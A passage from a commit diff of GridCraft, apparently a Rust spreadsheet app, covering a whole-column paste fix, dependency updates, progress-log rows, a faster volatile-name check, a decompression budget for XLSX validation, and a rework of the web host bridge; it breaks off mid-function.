Paste of a whole-column or whole-row copy no longer aborts the app (#2018 )

* Paste: whole-column paste and validation without per-cell blowup edit.paste of a whole-column or whole-row copy walked every cell of the copied block (up to the whole sheet) and, for each one, re-cut every validation rule and pushed a one-cell rule. Over a 2M-cell block that is quadratic and the fuzz soak aborted on 34-68 GB allocations. - Paste visits only cells that hold something in the source or the destination; blank onto blank changes nothing (and with an operation stays blank, as in Excel, instead of becoming 0). - Validation pastes as ranges: the pasted rectangle is cut once out of the destination's rules and each source rule comes along as one rule over its translated parts (Skip Blanks or not, as Excel does). - Whole columns and rows paste whole, so destination content further down the columns is replaced, as in Excel. - A paste that does not fit on the sheet is refused, as Excel does, instead of pasting part of the block (whole columns below row 1, whole rows right of column A, a whole column transposed, a block at XFD). - Paste Link, the one paste that writes every cell, is capped at 1,048,576 cells; tiled validation at 100,000 ranges. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com> * Paste: visit destination cells once per paste, add link, transpose and tiling tests Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com> * Paste: visit link-only cells so a cut keeps their hyperlink * Paste validation: Skip Blanks keeps the destination rule under a blank source cell with no rule * Paste validation: Skip Blanks collects clearing cuts only when a rule is under the paste, merges them into runs, and limits only generated areas * Paste validation: annotate the clearing cut list * Qualify paste validation context type * Fix paste-special clippy warnings * engine: batch validation range cuts * Fix range type inference * Annotate validation range index type * Avoid shadowing test session helper * Keep validation rows after the final cut --------- Co-authored-by: Claude Sonnet 5.5 <noreply@anthropic.com>
fix(calc): apply "Set precision as displayed" in calculation (#1366 )
2026-11-06 02:19:41 -06:00 · 2026-11-05 22:24:59 +01:00 · 2026-11-05 22:24:49 +01:00 · 2026-11-05 15:03:10 +01:00 · 2026-11-05 14:49:58 +01:00 · 2026-11-05 13:58:25 +01:00
229 changed files with 15464 additions and 1391 deletions
@@ -42,3 +42,4 @@ jobs:
      AZURE_SIGNING_ENDPOINT: ${{ secrets.AZURE_SIGNING_ENDPOINT }}
      AZURE_SIGNING_ACCOUNT: ${{ secrets.AZURE_SIGNING_ACCOUNT }}
      AZURE_CERT_PROFILE: ${{ secrets.AZURE_CERT_PROFILE }}
+      LINUX_SIGNING_KEY: ${{ secrets.LINUX_SIGNING_KEY }}
@@ -220,7 +220,7 @@ dependencies = [
 "objc2-foundation 0.3.2",
 "parking_lot",
 "percent-encoding",
- "windows-sys 0.59.0",
+ "windows-sys 0.61.2",
 "wl-clipboard-rs",
 "x11rb",
 ]
@@ -995,6 +995,15 @@ dependencies = [
 "zip 9.1.0",
 ]

+[[package]]
+name = "craft-web-host"
+version = "0.1.0"
+source = "git+https://github.com/storytold/craft-libs?rev=2e2312ddaf21bc3d85cd3395d0955c7d239306f6#2e2312ddaf21bc3d85cd3395d0955c7d239306f6"
+dependencies = [
+ "wasm-bindgen",
+ "web-sys",
+]
+
 [[package]]
 name = "craft-window"
 version = "0.1.0"
@@ -1346,6 +1355,19 @@ dependencies = [
 "winit",
 ]

+[[package]]
+name = "egui_extras"
+version = "0.37.0"
+source = "git+https://github.com/storytold/egui.git?rev=6d518fc799681571963842f95b55a6b68431b15a#6d518fc799681571963842f95b55a6b68431b15a"
+dependencies = [
+ "ahash",
+ "egui",
+ "enum-map",
+ "itertools",
+ "log",
+ "profiling",
+]
+
 [[package]]
 name = "egui_glow"
 version = "0.37.0"
@@ -1413,6 +1435,26 @@ version = "1.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "66b7e2430c6dff6a955451e2cfc438f09cea1965a9d6f87f7e3b90decc014099"

+[[package]]
+name = "enum-map"
+version = "3.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d4532960034c15ba2f55e9eee631040ecc473c32e6c4b200828c759840f13a06"
+dependencies = [
+ "enum-map-derive",
+]
+
+[[package]]
+name = "enum-map-derive"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7127272f64b3e098f7d81f350d672081b879bff896d219c42370dc858b1af9ff"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 3.0.6",
+]
+
 [[package]]
 name = "enumflags2"
 version = "0.7.12"
@@ -1478,7 +1520,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"
 dependencies = [
 "libc",
- "windows-sys 0.59.0",
+ "windows-sys 0.61.2",
 ]

 [[package]]
@@ -2131,6 +2173,7 @@ dependencies = [
 "craft-update",
 "craft-window",
 "egui",
+ "egui_extras",
 "egui_kittest",
 "epaint_default_fonts",
 "gridcraft-chart",
@@ -2152,6 +2195,7 @@ dependencies = [
 name = "gridcraft-web"
 version = "0.16.0"
 dependencies = [
+ "craft-web-host",
 "eframe",
 "egui",
 "gridcraft-engine",
@@ -3507,7 +3551,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7d8fae84b431384b68627d0f9b3b1245fcf9f46f6c0e3dc902e9dce64edd1967"
 dependencies = [
 "libc",
- "windows-sys 0.59.0",
+ "windows-sys 0.61.2",
 ]

 [[package]]
@@ -3963,7 +4007,7 @@ dependencies = [
 "once_cell",
 "socket2",
 "tracing",
- "windows-sys 0.59.0",
+ "windows-sys 0.61.2",
 ]

 [[package]]
@@ -4348,7 +4392,7 @@ dependencies = [
 "errno",
 "libc",
 "linux-raw-sys 0.12.1",
- "windows-sys 0.59.0",
+ "windows-sys 0.61.2",
 ]

 [[package]]
@@ -4407,7 +4451,7 @@ dependencies = [
 "security-framework",
 "security-framework-sys",
 "webpki-root-certs",
- "windows-sys 0.59.0",
+ "windows-sys 0.61.2",
 ]

 [[package]]
@@ -5158,7 +5202,7 @@ dependencies = [
 "getrandom 0.4.3",
 "once_cell",
 "rustix 1.1.5",
- "windows-sys 0.59.0",
+ "windows-sys 0.61.2",
 ]

 [[package]]
@@ -6151,7 +6195,7 @@ version = "0.1.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22"
 dependencies = [
- "windows-sys 0.59.0",
+ "windows-sys 0.61.2",
 ]

 [[package]]
@@ -6967,11 +7011,6 @@ name = "egui_demo_lib"
 version = "0.37.0"
 source = "git+https://github.com/storytold/egui.git?rev=6d518fc799681571963842f95b55a6b68431b15a#6d518fc799681571963842f95b55a6b68431b15a"

-[[patch.unused]]
-name = "egui_extras"
-version = "0.37.0"
-source = "git+https://github.com/storytold/egui.git?rev=6d518fc799681571963842f95b55a6b68431b15a#6d518fc799681571963842f95b55a6b68431b15a"
-
 [[patch.unused]]
 name = "egui_inspection"
 version = "0.37.0"
@@ -2,7 +2,7 @@

 **Stage: alpha** · next: beta, ~25 points of "ready for real work" and ~160–240 h away

-> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis take ranges by selection on the grid; earlier: Python mode in the formula bar; earlier: Python cells stored and kept in files; earlier: equations: Insert › Equation, editor, gridcraft-math; earlier: What-if and analysis: Solver Sensitivity report for Simplex LP and GRG Nonlinear; earlier: floating objects: one selection, eight resize handles, keyboard delete; earlier: Chart data tables: live source values beneath column, bar, line, area and compatible combo charts; legend keys and borders; XLSX round-trip and print/PDF; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and Insert Function categories; XLSX workbook-view selection, bounded tab ratios and sheet-edit regressions; readiness estimates unchanged; earlier: CSV and text open detects each column's date order, so day-first dates are not silently swapped) · **Target:** Microsoft Excel (Microsoft 365)
+> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (form controls: buttons, sliders and spin buttons; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis take ranges by selection on the grid; earlier: Python mode in the formula bar; earlier: Python cells stored and kept in files; earlier: equations: Insert › Equation, editor, gridcraft-math; earlier: What-if and analysis: Solver Sensitivity report for Simplex LP and GRG Nonlinear; earlier: floating objects: one selection, eight resize handles, keyboard delete; earlier: Chart data tables: live source values beneath column, bar, line, area and compatible combo charts; legend keys and borders; XLSX round-trip and print/PDF; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and Insert Function categories; XLSX workbook-view selection, bounded tab ratios and sheet-edit regressions; readiness estimates unchanged; earlier: CSV and text open detects each column's date order, so day-first dates are not silently swapped) · **Target:** Microsoft Excel (Microsoft 365)

 GridCraft aims at full Microsoft Excel parity, and at being better in places: faster, open (XLSX
 is the native format), fully scriptable by agents (MCP, control channel, CLI), and on the web.
@@ -22,7 +22,7 @@ This page is the summary. The detail is in:
 | Number | Value | Kind |
 |---|---|---|
 | 2026-10-14 | Editing a cell with text that would read back as a number, boolean, date or formula (entered with a leading apostrophe) shows the apostrophe in the editor and formula bar, so Enter unchanged keeps it text (#1362) |
-| **Feature breadth** (weighted) | **~75%** | estimated, anchored on two measurements: ribbon catalog 277 / 292 (94.9%), worksheet functions 513 / 523 (98.1%; 504 working, 96.4%) |
+| **Feature breadth** (weighted) | **~75%** | estimated, anchored on two measurements: ribbon catalog 281 / 296 (94.9%), worksheet functions 513 / 523 (98.1%; 504 working, 96.4%) |
 | **Ready for real work** | **~50%** | estimated from written weights (51.6); [target-app-parity.md](docs/target-app-parity.md) |
 | **Mainstream practitioner** | **~50%** | estimated: typical analyst/finance user, weekly features, × 0.90 interaction × 0.92 stability × 0.88 file exchange; [method](docs/target-app-parity.md#mainstream-practitioner) |
 | **Essentials user** | **~63%** | estimated: core features only, × 0.92 launch/stability × 0.95 clarity × 0.90 opening sent files; [method](docs/target-app-parity.md#essentials-user) |
@@ -135,6 +135,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in

 | Date | What landed |
 |---|---|
+| 2026-11-02 | Form controls: Insert › Controls places buttons, sliders (scroll bars) and spin buttons on the sheet. A slider or spin button holds a whole number from 0 to 30000 in a linked cell (a drag or a held arrow is one undo step, and editing the cell moves the control); a button runs a macro or one command through the macro policy, asking first in a workbook opened from a file; Assign Action and Format Control edit them, and XLSX files read and write them (control properties, `<controls>` and VML), alongside the form controls GridCraft keeps unchanged |
 | 2026-11-02 | Dialogs take ranges by selection on the grid: reference boxes (RefEdit) with a collapse button that shrinks the dialog while the person selects, in Goal Seek, Solver (including the Model Range of Load/Save) and Data Analysis; while collapsed, the arrow keys move the selection and Shift+arrow extends it, and F4 cycles a reference's anchors |
 | 2026-11-02 | Python mode in the formula bar: Ctrl+Alt+Shift+P, `=PY` then Tab, or editing a Python cell edits its code in the formula bar, with Enter for a new line, Tab to indent and Ctrl+Enter to commit through `python.set`. The code still doesn't run |
 | 2026-11-02 | Python cells as data: `python.set` stores code in a cell, Python cells copy, move, fill and undo like formulas, and `.xlsx` reads and writes Python cells as [MS-XLSX] specifies (`_xlfn._xlws.PY(index,0 or 1)`, the code in the workbook's Python part) with cached values and spills, so such workbooks open with their results; nothing runs Python (new code shows `#BLOCKED!`), and opening a file limits code size, result size and spill ranges |
@@ -176,6 +177,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in
 | 2026-10-15 | File › Options › Formulas: Maximum Iterations and Maximum Change fields for iterative calculation, disabled while it is off, with Excel's limits (1 to 32767, 0 or more) |
 | 2026-10-15 | Function help follows the interface language: argument hints, autocomplete, Insert Function (search and readable categories) and the Formulas-tab menus read per-language tables of descriptions and argument names; Spanish keeps its 10 functions in the new format |
 | 2026-10-15 | Row auto-fit counts a cell's line breaks only when the cell wraps, as Excel does: a file whose unwrapped cells hold multi-line text no longer opens with tall rows (typing a break still turns wrap on and grows the row) |
+| 2026-10-14 | Set precision as displayed is applied: with the option on, formula results, spills and numbers typed or reformatted are stored as their number format shows them and formulas calculate from those values; `formulas.calculationOptions` gains `precisionAsDisplayed` (turning it on rounds existing constants; locked constants on a protected sheet keep their value; numbers written to a new sheet are rounded too) (#1343) |
 | 2026-10-14 | Lookups (MATCH, XMATCH, VLOOKUP, HLOOKUP, XLOOKUP, LOOKUP) compare numbers exactly like Excel, so a computed key such as `=0.1+0.2` no longer finds 0.3; `=` and COUNTIF/SUMIF keep their 15-digit comparison |
 | 2026-10-14 | Functions: EOMONTH, EDATE, WORKDAY, NETWORKDAYS, YEARFRAC, WEEKNUM, the bond and coupon functions, DISC, BIN2DEC, IM* and the other Analysis ToolPak functions give `#VALUE!` for a reference to more than one cell in a value argument, as Excel 365 does, instead of spilling; array constants and computed arrays still lift |
 | 2026-10-14 | Protect Sheet on a protected sheet: Home › Format, its keytips (HOP, RPS) and the tab menu now read Unprotect Sheet… and unprotect (straight away without a password); a protected sheet that forbids selecting locked (or unlocked) cells is enforced for clicks, arrows and Go To, and the Protect Sheet dialog has the select options (#1346) |
@@ -257,6 +259,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in

 | Date | Change | Summary |
 |---|---|---|
+| 2026-11-02 | minor | Form controls; catalog 277 / 292 → 281 / 296 (Developer › Controls); progress log row |
 | 2026-11-02 | minor | Progress log: RefEdit reference boxes in dialogs |
 | 2026-11-02 | minor | Progress log: Python mode in the formula bar |
 | 2026-11-02 | minor | Progress log: Python cells as data |
@@ -286,6 +289,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in
 | 2026-10-16 | minor | Progress log: floating pictures' textures bounded and kept per workbook |
 | 2026-10-16 | trivial | Progress log: web preferences kept between visits (#1562) |
 | 2026-10-16 | minor | Progress log: interface fonts held once instead of twice |
+| 2026-10-14 | minor | Progress log: Set precision as displayed applied in calculation (#1343) |
 | 2026-10-14 | minor | Progress log: `.xls` import reads cell formatting |
 | 2026-10-14 | minor | Progress log: lookups compare numbers exactly |
 | 2026-10-14 | minor | Progress log: Analysis ToolPak value arguments reject multi-cell references |
@@ -31,20 +31,41 @@ fn is_volatile(e: &Expr, volatile_names: &HashSet<String>) -> bool {
 }

 /// Upper-cased defined names whose formula is volatile, directly or through other names.
+///
+/// Volatility flows backwards along name references: each name is parsed and walked once, and a
+/// worklist carries volatility from a name to the names that use it. Rescanning every name until
+/// nothing changes was quadratic: a file listing its names so that each pass marked only one more
+/// did one full pass per name.
 pub(super) fn volatile_names(wb: &Workbook) -> HashSet<String> {
-    let parsed: Vec<(String, Option<Expr>)> =
-        wb.names.iter().map(|n| (n.name.to_ascii_uppercase(), gridcraft_engine::formula::parse(&n.formula).ok())).collect();
    let mut set = HashSet::new();
-    // Each round adds at least one name or stops, so `len + 1` rounds reach the fixed point.
-    for _ in 0..=parsed.len() {
-        let before = set.len();
-        for (name, e) in &parsed {
-            if !set.contains(name) && e.as_ref().is_some_and(|e| is_volatile(e, &set)) {
-                set.insert(name.clone());
+    // Upper-cased name -> the names whose formulas refer to it.
+    let mut users: HashMap<String, Vec<String>> = HashMap::new();
+    let mut queue = Vec::new();
+    let none = HashSet::new();
+    for n in &wb.names {
+        let name = n.name.to_ascii_uppercase();
+        let Ok(e) = gridcraft_engine::formula::parse(&n.formula) else { continue };
+        if is_volatile(&e, &none) {
+            if set.insert(name.clone()) {
+                queue.push(name.clone());
            }
+            continue;
        }
-        if set.len() == before {
-            break;
+        let mut used = BTreeSet::new();
+        e.walk(&mut |x| {
+            if let Expr::Name(r) = x {
+                used.insert(r.to_ascii_uppercase());
+            }
+        });
+        for r in used {
+            users.entry(r).or_default().push(name.clone());
+        }
+    }
+    while let Some(v) = queue.pop() {
+        for user in users.remove(&v).unwrap_or_default() {
+            if set.insert(user.clone()) {
+                queue.push(user);
+            }
        }
    }
    set
@@ -6,6 +6,10 @@ const MAX_XML_PART: u64 = 64 * 1024 * 1024;
 /// Most zip entries looked at while validating a written package.
 const MAX_ENTRIES: usize = 200_000;

+/// Decompressed bytes that comparing one package's relationship kinds may read in total: the
+/// relationship parts themselves and the targets whose content is checked.
+const RELATIONSHIP_BUDGET: u64 = 512 * 1024 * 1024;
+
 /// Relationship kinds (lower case) whose absence after a save isn't a loss: the calculation chain is
 /// a cache Excel rebuilds, and GridCraft never writes it.
 pub(super) const REBUILT_KINDS: [&str; 1] = ["calcchain"];
@@ -117,6 +121,30 @@ fn read_zip_part(zip: &mut Zip<'_>, name: &str) -> Result<Vec<u8>, String> {
    Ok(buf)
 }

+enum PartError {
+    /// Reading the part would spend more than the remaining budget.
+    OverBudget,
+    Unreadable,
+}
+
+/// Reads a part like [`read_zip_part`], charging the decompressed bytes to `budget`.
+fn read_zip_part_within(zip: &mut Zip<'_>, name: &str, budget: &mut u64) -> Result<Vec<u8>, PartError> {
+    let f = zip.by_name(name).map_err(|_| PartError::Unreadable)?;
+    // One byte past what is left shows that the part doesn't fit.
+    let limit = MAX_XML_PART.min(budget.saturating_add(1));
+    let mut buf = Vec::new();
+    // Bytes read before a decompression error still count against the budget.
+    let res = f.take(limit).read_to_end(&mut buf);
+    let read = buf.len() as u64;
+    if read > *budget {
+        *budget = 0;
+        return Err(PartError::OverBudget);
+    }
+    *budget -= read;
+    res.map_err(|_| PartError::Unreadable)?;
+    Ok(buf)
+}
+
 /// Whether the producer flagged its cached results as stale with `<calcPr fullCalcOnLoad="1">`:
 /// libraries that don't calculate write it, and store 0 or nothing as every formula's value.
 pub(super) fn full_calc_on_load(bytes: &[u8]) -> bool {
@@ -232,19 +260,30 @@ pub fn validate_package(bytes: &[u8]) -> Result<Vec<String>, String> {
 /// nothing are left out, as a save may rightly drop them: a link to a place in the workbook
 /// (`#Sheet1!A1`, written as a cell's `location`) and a target part with nothing in it.
 pub(super) fn relationship_kinds(bytes: &[u8]) -> Result<BTreeMap<String, String>, String> {
+    relationship_kinds_within(bytes, RELATIONSHIP_BUDGET)
+}
+
+/// [`relationship_kinds`] reading at most `budget` decompressed bytes. `Err` once the relationship
+/// parts alone need more: their kinds can't be listed completely.
+fn relationship_kinds_within(bytes: &[u8], mut budget: u64) -> Result<BTreeMap<String, String>, String> {
    let mut zip = zip::ZipArchive::new(Cursor::new(bytes)).map_err(|e| format!("not a zip package: {e}"))?;
    let names = zip_names(&mut zip);
    let by_key: HashMap<String, &String> = names.iter().map(|n| (part_key(n), n)).collect();
    // Several relationships name the same part; each fresh check decompressed it again, so
    // repeated references to one highly compressible part multiplied the work. The verdict is
    // remembered per (part, named content) and the decompression the package can cause is
-    // budgeted as a whole (finding: repeated decompression).
+    // budgeted as a whole, the relationship parts included: many large, unreferenced rels parts
+    // would otherwise each spend a full per-part allowance.
    let mut verdicts: HashMap<(String, &'static str), bool> = HashMap::new();
-    let mut budget: u64 = 512 * 1024 * 1024;
    let mut kinds = BTreeMap::new();
    for n in names.iter().filter(|n| part_key(n).ends_with(".rels")) {
        let Some(src_dir) = rels_source_dir(&part_key(n)) else { continue };
-        let Ok(els) = read_zip_part(&mut zip, n).and_then(|xml| xml_elements(&xml)) else { continue };
+        let xml = match read_zip_part_within(&mut zip, n, &mut budget) {
+            Ok(xml) => xml,
+            Err(PartError::OverBudget) => return Err(format!("{n}: relationship check stopped at its decompression limit")),
+            Err(PartError::Unreadable) => continue,
+        };
+        let Ok(els) = xml_elements(&xml) else { continue };
        for (_, attrs) in els.iter().filter(|(el, _)| el == "Relationship") {
            let Some(kind) = attr(attrs, "Type").and_then(|t| t.rsplit('/').next()) else { continue };
            let target = attr(attrs, "Target").unwrap_or("");
@@ -329,3 +368,36 @@ fn holds_something_uncached(zip: &mut Zip<'_>, name: &str, marker: &'static str,
        buf.clear();
    }
 }
+
+#[cfg(test)]
+mod tests {
+    use std::io::Write as _;
+
+    use super::*;
+
+    /// A package with `count` relationship parts of `size` bytes each, none of them describing an
+    /// existing part.
+    fn many_rels(count: usize, size: usize) -> Vec<u8> {
+        let mut z = zip::ZipWriter::new(Cursor::new(Vec::new()));
+        let opts = zip::write::SimpleFileOptions::default().compression_method(zip::CompressionMethod::Deflated);
+        let head = r#"<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/custom" Target="https://example.com" TargetMode="External"/>"#;
+        let tail = "</Relationships>";
+        let filler = " ".repeat(size.saturating_sub(head.len() + tail.len()));
+        for i in 0..count {
+            z.start_file(format!("xl/_rels/part{i}.xml.rels"), opts).unwrap();
+            z.write_all(head.as_bytes()).unwrap();
+            z.write_all(filler.as_bytes()).unwrap();
+            z.write_all(tail.as_bytes()).unwrap();
+        }
+        z.finish().unwrap().into_inner()
+    }
+
+    #[test]
+    fn relationship_parts_count_against_the_decompression_budget() {
+        // Each part fits the per-part allowance, but together they need more than the budget.
+        let bytes = many_rels(8, 64 * 1024);
+        assert!(relationship_kinds_within(&bytes, 256 * 1024).is_err());
+        let kinds = relationship_kinds_within(&bytes, 1024 * 1024).unwrap();
+        assert_eq!(kinds.get("custom").map(String::as_str), Some("custom"));
+    }
+}
@@ -178,6 +178,28 @@ fn volatile_names_propagate() {
    assert_eq!(check(&wb, &Options::default()).calc.volatile, 1);
 }

+#[test]
+fn volatile_names_propagate_through_a_long_chain_in_one_walk() {
+    // Chain0 uses Chain1, Chain1 uses Chain2, ... and only the last is volatile: listed in this order, a rescan
+    // until nothing changes marked one name per pass (quadratic). Every name in the chain is
+    // volatile; a name off the chain is not.
+    const LEN: usize = 5_000;
+    let mut wb = book(&[("A1", "=1", n(1.0))]);
+    let name =
+        |name: String, formula: String| gridcraft_engine::model::DefinedName { name, scope: None, formula, comment: String::new(), hidden: false };
+    for i in 0..LEN {
+        let formula = if i + 1 == LEN { "NOW()".to_string() } else { format!("Chain{}+1", i + 1) };
+        wb.names.push(name(format!("Chain{i}"), formula));
+    }
+    wb.names.push(name("Plain".into(), "Chain0*0+Other".into()));
+    wb.names.push(name("Other".into(), "1".into()));
+    let set = volatile_names(&wb);
+    assert!((0..LEN).all(|i| set.contains(&format!("CHAIN{i}"))));
+    assert!(set.contains("PLAIN"));
+    assert!(!set.contains("OTHER"));
+    assert_eq!(set.len(), LEN + 1);
+}
+
 #[test]
 fn round_trip_of_a_simple_book_is_clean() {
    let mut wb = book(&[("A1", "2", n(2.0)), ("B1", "=A1*3", n(6.0)), ("A2", "x", Value::text("x"))]);
@@ -16,6 +16,8 @@ path = "src/main.rs"
 [dependencies]
 gridcraft-engine = { workspace = true }
 gridcraft-ui-egui = { workspace = true }
+# The host messages (storytold/craft-libs): one contract and one bridge for the web builds.
+craft-web-host = { git = "https://github.com/storytold/craft-libs", rev = "2e2312ddaf21bc3d85cd3395d0955c7d239306f6", version = "0.1.0" }
 egui = { workspace = true }
 log = { workspace = true }
 serde_json = { workspace = true }
@@ -26,4 +28,4 @@ rfd = { workspace = true }
 wasm-bindgen = "0.2"
 wasm-bindgen-futures = "0.4"
 js-sys = "0.3"
-web-sys = { version = "0.3", features = ["Window", "Document", "Element", "HtmlElement", "HtmlCanvasElement", "HtmlAnchorElement", "HtmlIFrameElement", "Blob", "BlobPropertyBag", "Url", "Location", "CssStyleDeclaration", "Clipboard", "ClipboardItem", "Navigator", "MessageEvent", "UrlSearchParams", "AddEventListenerOptions", "Storage"] }
+web-sys = { version = "0.3", features = ["Window", "Document", "Element", "Event", "EventTarget", "HtmlElement", "HtmlCanvasElement", "HtmlAnchorElement", "HtmlIFrameElement", "Blob", "BlobPropertyBag", "Url", "Location", "CssStyleDeclaration", "Clipboard", "ClipboardItem", "Navigator", "MessageEvent", "UrlSearchParams", "AddEventListenerOptions", "Storage", "CustomEvent", "CustomEventInit"] }
@@ -1,57 +1,64 @@
-//! The `postMessage` bridge to a same-origin parent page (`?host=parent`), for pages that embed
-//! GridCraft in an `<iframe>` (such as a Nextcloud app). Messages are plain objects with a `type`:
+//! Host modes: a page that runs GridCraft (as an iframe, or in its own document) opens workbooks
+//! in it and stores what it saves instead of the browser downloading. The messages and the two
+//! transports are `craft-web-host`'s (storytold/craft-libs), the same contract as the other Craft
+//! apps' bridges, with the `gridcraft:` prefix. This module is GridCraft's part of it.
 //!
-//! - `gridcraft:ready` (to the parent): `{ version }`, the app is listening; send a file now.
-//! - `gridcraft:open` (from the parent): `{ name, bytes }`, bytes an `ArrayBuffer` or
-//!   `Uint8Array`. It opens like a workbook picked with File › Open or dropped on the window.
-//! - `gridcraft:save` (to the parent): `{ name, bytes }` (a transferred `ArrayBuffer`) for every
-//!   file GridCraft would otherwise download: Save and Save As (an .xlsx workbook) and Export
-//!   as PDF. The parent stores it and reports failures itself.
-//! - `gridcraft:dirty` (to the parent): `{ dirty }` whenever unsaved changes appear or go away.
-//! - `gridcraft:failed` (to the parent): `{ error }` when the app couldn't start.
+//! - `?host=parent` (an `<iframe>`, such as a Nextcloud app) talks to the same-origin parent over
+//!   `postMessage`; `data-host="page"` on the canvas (the page's own document, no iframe) uses
+//!   DOM `CustomEvent`s on the canvas instead. `?host=parent` wins when both are present. With no
+//!   parent, or a parent on another origin, there is no bridge: the normal app with downloads.
+//! - `gridcraft:ready` once the app is listening; send a file now. GridCraft reads bytes, so it
+//!   says `file: false` and a host sends `bytes`.
+//! - `gridcraft:open` (from the host): `{ name, bytes }`. It opens like a workbook picked with
+//!   File › Open or dropped on the window; a file over [`MAX_OPEN_BYTES`] is refused before it is
+//!   copied.
+//! - `gridcraft:save` (to the host): `{ name, saveAs, bytes }` for every file GridCraft would
+//!   otherwise download: Save and Save As (an .xlsx workbook) and Export as PDF. The host stores
+//!   it and reports failures itself. GridCraft doesn't tell the host which saves make a file the
+//!   document, so `saveAs` is always `false`.
+//! - `gridcraft:dirty` whenever unsaved changes appear or go away, `gridcraft:failed` when the
+//!   app couldn't start.
 //!
-//! Only the parent window on the page's own origin is heard or answered. In host mode the page
-//! starts with an empty workbook instead of a sample, and the parent guards leaving the page.
+//! In both host modes the page starts with an empty workbook instead of a sample, saves and PDF
+//! exports are handed to the page rather than downloaded, and `?author=` names the user for new
+//! notes and comments.

-use std::cell::{Cell, RefCell};
+use std::cell::RefCell;
 use std::rc::Rc;

+use craft_web_host::web::{FileData, Host, Message};
 use gridcraft_ui_egui::{Inbox, Services, SheetApp};
-use wasm_bindgen::JsCast as _;
-use wasm_bindgen::JsValue;
-use wasm_bindgen::closure::Closure;

-/// Saving one of these hands the whole workbook to the parent, which stores it: the workbook
-/// counts as saved under that name, as it would after Save on the desktop.
+use crate::hostmode::open_name;
+
+/// The app id in the host messages (`gridcraft:ready`).
+const APP: &str = "gridcraft";
+
+/// Saved files that count as a workbook: the document is then clean under the name it was saved as.
 const WORKBOOK_EXTS: &[&str] = &["xlsx"];

+/// The largest workbook taken from the host page, refused before it is copied.
+const MAX_OPEN_BYTES: u64 = 512 << 20;
+
 /// The longest user name taken from `?author=`.
 const MAX_AUTHOR_CHARS: usize = 200;

 #[derive(Clone)]
 pub struct Bridge {
-    window: web_sys::Window,
-    parent: web_sys::Window,
-    origin: String,
-    /// Names of the files handed to the parent since the last frame.
+    host: Rc<Host>,
+    /// Names of the files handed to the host since the last frame.
    saved: Rc<RefCell<Vec<String>>>,
-    /// The unsaved-changes state last reported to the parent.
-    reported: Rc<Cell<Option<bool>>>,
 }

 impl Bridge {
-    /// `None` when the page isn't framed (there is no parent to talk to).
-    pub fn new() -> Option<Self> {
-        let window = web_sys::window()?;
-        let parent = window.parent().ok().flatten()?;
-        if js_sys::Object::is(&parent, &window) {
-            return None;
-        }
-        let origin = window.location().origin().ok()?;
-        Some(Self { window, parent, origin, saved: Rc::default(), reported: Rc::default() })
+    /// The bridge for this page, or `None` when GridCraft isn't hosted: no `?host=parent` and no
+    /// `data-host="page"` on the canvas, an unframed `?host=parent` page (it stays the normal app
+    /// with downloads), or a parent on another origin.
+    pub fn detect(canvas: &web_sys::HtmlCanvasElement) -> Option<Self> {
+        Some(Self { host: Rc::new(Host::connect(APP, canvas)?), saved: Rc::default() })
    }

-    /// Send saved and exported files to the parent instead of downloading them, and hear files
+    /// Send saved and exported files to the host instead of downloading them, and hear files
    /// from it.
    pub fn connect(&self, services: &mut Services, inbox: Inbox, ctx: egui::Context) {
        self.listen(inbox, ctx);
@@ -72,15 +79,16 @@ impl Bridge {
    }

    pub fn post_ready(&self) {
-        self.send(&[("type", "gridcraft:ready".into()), ("version", env!("CARGO_PKG_VERSION").into())]);
+        let _ = self.host.post_ready(env!("CARGO_PKG_VERSION"), false);
    }

    pub fn post_failed(&self, error: &str) {
-        self.send(&[("type", "gridcraft:failed".into()), ("error", error.into())]);
+        let _ = self.host.post_failed(error, None);
    }

-    /// After each frame: a workbook handed to the parent this frame counts as saved under the
-    /// name it was saved as, and the parent hears when unsaved changes appear or go away.
+    /// After each frame: a workbook handed to the host this frame counts as saved under the
+    /// name it was saved as, and the host hears when unsaved changes appear or go away (the
+    /// crate does not repeat a state it already reported).
    pub fn sync(&self, app: &mut SheetApp) {
        let saved = std::mem::take(&mut *self.saved.borrow_mut());
        if let Some(name) = saved.iter().rev().find(|name| is_workbook(name))
@@ -91,76 +99,45 @@ impl Bridge {
                doc.title = name.clone();
            }
        }
-        let dirty = app.session.documents().iter().any(|d| d.is_dirty());
-        if self.reported.get() != Some(dirty) && self.send(&[("type", "gridcraft:dirty".into()), ("dirty", dirty.into())]) {
-            self.reported.set(Some(dirty));
-        }
+        self.host.post_dirty(app.session.documents().iter().any(|d| d.is_dirty()));
    }

    fn post_save(&self, path: &str, bytes: &[u8]) -> Result<(), String> {
-        let name = std::path::Path::new(path).file_name().map(|n| n.to_string_lossy().to_string()).unwrap_or_else(|| path.to_string());
-        let buffer = js_sys::Uint8Array::from(bytes).buffer();
-        let message = message(&[("type", "gridcraft:save".into()), ("name", name.as_str().into()), ("bytes", buffer.clone().into())])
-            .ok_or_else(|| "couldn't build the message".to_string())?;
-        self.parent
